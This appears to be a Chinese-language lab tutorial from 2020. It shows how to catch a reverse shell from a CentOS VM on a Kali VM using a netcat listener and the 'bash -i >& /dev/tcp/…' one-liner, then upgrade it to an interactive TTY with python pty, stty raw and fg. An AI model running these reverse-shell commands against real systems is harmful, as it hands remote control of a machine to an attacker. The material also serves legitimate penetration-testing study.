反彈shell升級成互動式shell
阿新 • • 發佈:2020-12-01
實驗環境:
A : kali 虛擬機器
B: centos7.5 虛擬機器
1. A 機 kali 虛擬機器 設定監聽 埠
root@kali64:~# nc -lvvp 9001
# 埠隨便定義,沒被使用就行
2. B機 執行命令反彈shell
[root@localhost ~]# bash -i >& /dev/tcp/192.168.2.128/9001 0>&1
# ip地址為 kali 虛擬機器的ip地址,埠為kali虛擬機器監聽的埠 主機ip和埠之間為`/`
補充:
標準輸入 (stdin) :程式碼為
0
標準輸出 (stdout):程式碼為
1
標準錯誤 (stderr):程式碼為
2
>
為重定向符號 ,&
沒有固定的意思
&>
,>&
理解成一個整體
&>file
# 將 標準輸出 和 標準錯誤輸出 都重定向到檔案file中
>&
# 將標準輸出和標準錯誤輸出重定向到檔案/dev/tcp/,即傳遞到遠端
2>&1
# 將標準錯誤重定向到標準輸出中
0>&1
# 將標準輸入重定向到標準輸出中
- 反彈後再kali機上面檢視,可以輸入命令,不支援tab鍵,清屏等功能,需要升級成互動式shell
3.升級互動式shell
# 以下命令都是在kali 機上面操作 [root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")' #使用python [root@localhost ~]# ^Z # ctrl + z 按鍵 掛起正在執行的程式 root@kali64:~# stty raw -echo # 輸入這句後 在輸入命令終端不在顯示 root@kali64:~# fg # 把後臺掛起的程式,放到控制檯----》 終端不顯示命令,輸入後回車 [root@localhost ~]# reset [root@localhost ~]# export SHELL=bash
退回到kali機
# 以下命令都在kali機上面操作
[root@localhost ~]# exit # 退出終端
[root@localhost ~]# exit # 看前面主機名和使用者來區分,繼續退出,
root@kali64:~#
# 看到主機名變為kali說明回到kali機上面了------ 此時輸入命令是不顯示的
root@kali64:~# reset # 將終端恢復至原始狀態
補充:
stty -echo
# 禁止回顯,當在鍵盤上輸入時,並不出現在螢幕上
stty echo
# 打開回顯
stty raw
# 設定原始輸入
stty -raw
# 關閉原始輸入
bg
# 將一個在後臺暫停的命令,變成繼續執行
fg
# 將後臺中的命令調至前臺繼續執行
jobs
# 檢視當前有多少在後臺執行的命令
ctrl + z
# 可以將一個正在前臺執行的命令放到後臺,並且暫停
clear
# 清屏,本質上只是讓終端顯示頁向後翻了一頁,如果向上滾動螢幕還可以看到之前的操作資訊。
reset
# 將終端恢復至原始狀態,之前的終端輸入操作資訊將都會被清空